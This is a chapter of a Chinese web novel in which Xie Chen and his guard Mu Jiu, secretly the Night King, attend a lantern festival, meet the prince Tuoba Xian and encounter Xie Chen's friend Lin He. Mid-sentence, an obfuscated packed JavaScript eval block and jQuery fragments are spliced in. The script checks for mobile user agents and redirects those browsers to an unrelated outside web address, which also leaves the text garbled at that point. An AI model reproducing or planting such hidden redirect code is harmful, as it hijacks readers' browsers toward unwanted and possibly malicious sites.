月川城的主街直通南北城门,北门扼守太白道,南门直面北原,是当初的军事要道,宽阔大气直逼明雍的英神大街。
此刻大街上也人头攒动,不过比小巷中要明亮松散多了。
牧九没把谢忱放下来,就这么在大庭广众之下让人坐在自己肩头。
谢忱似乎也没有下来的意思,他知道这样不合规矩,深入骨髓地教养告诉他这是可耻的。
谢忱冷着脸,心里想:滚犊子的教养。
他们这样的组合过于扎眼,一路上不少人偷看,但都被牧九给瞪了回去,更没有胆量去看他肩上的谢忱了。
谢忱觉得自己像是骑着一头猛兽招摇过市,惹得众人敢怒不敢言。
太凶了。
谢忱扫视周五,目光落在街边的面具摊上,指使着牧九过去。
边陲多野兽,最初的面具是为了恐吓猛兽而做,延续至今也多以山精鬼怪的样式。
谢忱问牧九:“有喜欢的吗?”
牧九扫了一圈,看中了一个和自己夜王那副面具很像的夜叉:“喜欢这个。”
谢忱付了钱,接过面具给牧九戴上,英俊锋利的面庞被覆盖,只能看到牧九的眼睛,那眼眸又亮又黑,像是褪去了少年皮囊的野兽,装满了赤裸裸的欲望。
牧九问:“好看吗?”
谢忱指尖拂过面具:“十殿阎罗不过如此,你眼神太凶了。”
这句话更像是褒奖,于是他问:“公子要吗?”
谢忱不喜欢面具,在明雍的时候他已经戴够了,于是摇了摇头。
此时回头往南风馆去已经来不及了,两人被人群挤到了榷场门口的神女花灯前,谢忱手里捏着两盏星灯,是榷场守卫发的,可以用来祈福。
神女花灯足有三四层楼高,身着白色长袍,头戴梅花编制的发冠,长发垂到腿弯,双手高举一盏更大的星灯,裙摆内有火焰燃烧,乍一看仿佛就像真的神女下凡。
牧九知道他第一次来互市,给他解释:“塑神女用的纸经过处理,水火不侵,里边的油灯能烧半个月,直到互市结束。”
他刚说完,就见榷官登上灯台,他身着正红袍子,戴着神女面具,鬓边簪着一枝红梅,高声唱和:“火起——”
三声鼓响,人群都汇聚到神女脚下,点燃手中的星灯,每一盏星灯都承载着最诚挚的愿望。
“放灯——”
神女手中的星灯缓慢飞入夜空,众人手中的星灯跟随而去,浩浩荡荡,直奔星汉。
不止月川城,整个平川五郡都同时飞出漫天星灯,从天月山顶俯视,天地相接,星河倒转。
谢忱仰头看去,轻声感叹:“好漂亮。”
牧九看他捏着星灯却没动,问道:“你不要试试吗,他们都说这天许愿很灵的。”
谢忱却低头问他:“你有什么愿望吗?”
牧九眼光灼灼,没有一丝犹豫:“我想永远和公子在一起。”
谢忱心里有些软,点亮了一盏星灯放飞出去。
那星灯在两人的注视下摇摇晃晃地升入夜空,坠在灯群的尾巴慢慢不见了。
放过祈福灯,人就逐渐散了,谢忱就打算拐到月集去南风馆拿药,却发现月集竟然有士兵把守盘查,街市内还有巡逻队。
站在正门口的人竟然是身着明光铠的拓跋显。
连谢忱都愣了一瞬。
拓跋显自然也在人群中一眼看见了谢忱,并且也被两人的模样震了一下。
谢忱拍了拍牧九的肩膀,示意把自己放下来。
牧九直接单膝跪地,扶着他站好,又帮他理了狐裘,摘了自己的面具站在谢忱身后。拓跋显已经走到两人面前,眼神在两人间扫视一圈,露出了然又猥琐的笑容。
“看不出你竟然喜欢这个类型的,我说怎么不愿意还我了?”
谢忱自动忽略了这句话,看着他身上的甲胄道:“这是做什么?”
拓跋显顿时没了耍流氓的兴致,神色狰狞:“抓一只老鼠。”
谢忱了然:“夜王要来偷袭互市?”
拓跋显黑着脸提防地看着他:“你怎么知道?”
这么显而易见的道理,谢忱讨厌和蠢人解释,不想再和他交谈,带着牧九径直往月集里走:“我去买点东西,你慢慢抓。”
拓跋显急追两步拦住他:“要不这两天你搬我那去住吧!”
谢忱冷飕飕地看着他。
拓跋显只当他不知道,煞有介事说:“你没听说吗?夜王喜欢男人,四郡里好看的男人都被他玩死了!尤其喜欢你这种细皮嫩肉的贵公子,要是他就潜伏在城里还看上你了——”
那谢如晦一定会把他扒皮抽筋,比丢了平川五郡更可怕。
玩死了一堆男人的夜王站在旁边用同样冷飕飕地看他。
谢忱看拓跋显神色不似作假,他是真的这么想,脸色就更冷了:“郡王大人还是先担心自己的性命吧。”
拓跋显嗤笑:“他要是真敢冲我来,我还敬佩他是个汉子。”
谢忱向来讨厌北原人对武力的自信,但想到互市中的商贾民众都还需要靠他保护,提醒道:“五日后入夜加强巡防,东门城墙备好强弩手。”
拓跋显对他这番高论嗤之以鼻,但不好直接嘲笑,好心给他解释:“你刚来没看过月川城的地形吧,月川城东门只有天月山,夜王就是长了翅膀也飞不过来!”
谢忱只觉自己对牛弹琴,多说无益,抬脚就走。
拓跋显冲着谢忱的背影啐了口:“黄毛小子跟着谢如晦打了场胜仗就想踩老子脸上,不看看自己的斤两。”
他蔑眼待在原地的牧九:“还杵在这干什么呢,还不去保护人!”
牧九因为谢忱的话心里一沉,因为谢忱精准预判了他的进攻时间和位置,甚至想到了对策,可他从未在谢忱面前说过这些,哪怕是睡着的时候。
谢忱也不是会偷听的人。
他死死地盯着谢忱的背影,内心五味杂陈,最终定格成被背叛的愤怒。
牧九向拓跋显行礼后正要去追,却又被拽住了。
拓跋显神色戒备:“你给我盯好他,别让他和明雍联系。也别让他出事,如果他被夜王怎么了,我剥了你的皮。”
牧九看着拓跋显,眼神奇诡,仿佛闪过一丝嘲讽后认真道:“郡王放心,我拼下性命也会护公子,不落在夜、王、手、中。”
拓跋显这才稍稍放心,牧九连头狼都能打死,保护谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163891|196610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忱逃跑他应当没有问题。
月集的巡逻队伍身着明光铠、腰佩短刀,手握长矛,白刃森森冲淡了月集的热闹,所有人都畏惧避开,害怕自己多看一眼得罪军爷被抓走。
以至于巡逻队走了一圈,月集就冷清了不少。
牧九追上谢忱,替他隔开那些士兵,试探地问:“公子为什么提醒郡王在五天后提防东门?”
谢忱道:“因为五日后北原购买的粮食就会装马完毕,他们的马好,也方便运走。而东门看似只能通往天月山,但往三十里就是汉水,夜王占领了江口郡,有的是船,到时候沿江而下根本追不上。”
这简直和自己的预想不谋而合。
他从没见过这样懂自己的人,仿佛找到了最契合自己的灵魂伴侣,让他心潮澎湃,情难自已。
这样好的一个人,让他怎么放手,怎能放手。
谢忱本是随口闲聊,因为拓跋显在城里还有两万精兵,只要他不自己作死开城门,月川城很难被攻破。
可刚说完,谢忱就感觉自己的手被握住了。
他的视线顺着交握的手上滑,看到牧九幽深迫切的双眸,在昏黄的灯光下仿佛有另一个阴森恐怖的灵魂要撕开皮囊从地狱中爬出来。
从第一次见面,谢忱就知道他是狼崽,狼就算伪装也藏不住满身的欲望。
这个狼崽的欲望是自己。
可这次他从那眼眸中看到了更深的东西,比欲望更加强烈可怖。
这让他有些意外,罕见地有些好奇。
所以他没有抽手,平静地回视着那样的眼神,问:“你想对我说什么?”
牧九刚要说话,突然感觉到一阵寒意,反手把谢忱挡在自己身后,一手抓住了射过来的箭矢。
“鬼鬼祟祟,出来!”
一个长发半束,广袖宽袍的年轻男人从阴影中走了出来,他腰间佩着文剑,扔了手中的长弓,捏着一把紫竹扇,一派南楚风流。
他斜飞入鬓的眉梢扬起,像个落拓江湖客,眉眼却很是贵气,看向谢忱:“云徽,这位是?”
谢忱也非常意外:“林诃兄?”
那个名为林诃的青年笑容加深,走上前要和谢忱说话,牧九再一次横在他面前。
林诃挑眉扫了眼牧九,又去看谢忱。
谢忱按下牧九的胳膊:“无事,他是我的故友。”
牧九不让:“哪个朋友见面就要取人性命?”
林诃指着他手中的箭,笑道:“集市上幼童玩具而已,和云徽开个玩笑。”说罢他捏了下箭头,那箭头倏然炸开,弹出一朵无名野花。
牧九看着那朵花,有种自己被比下去的危机感。
林诃有又一次问道:“这位是?”
谢忱给两人介绍:“这是我在南楚的故友,林诃,这是我新得的近卫,牧九。”
两人行的是江湖礼,嘴上说的是幸会,眼神却像在说滚。
牧九:南楚‘故’友。
林诃:‘新’得近卫。
他乡遇故知,谢忱心情很好,就邀请林诃回宅子小聚,林诃欣然前往,两人结伴谈笑。
牧九落在后边无人问津,他盯着林诃的背影,已经想好把人埋在那里了。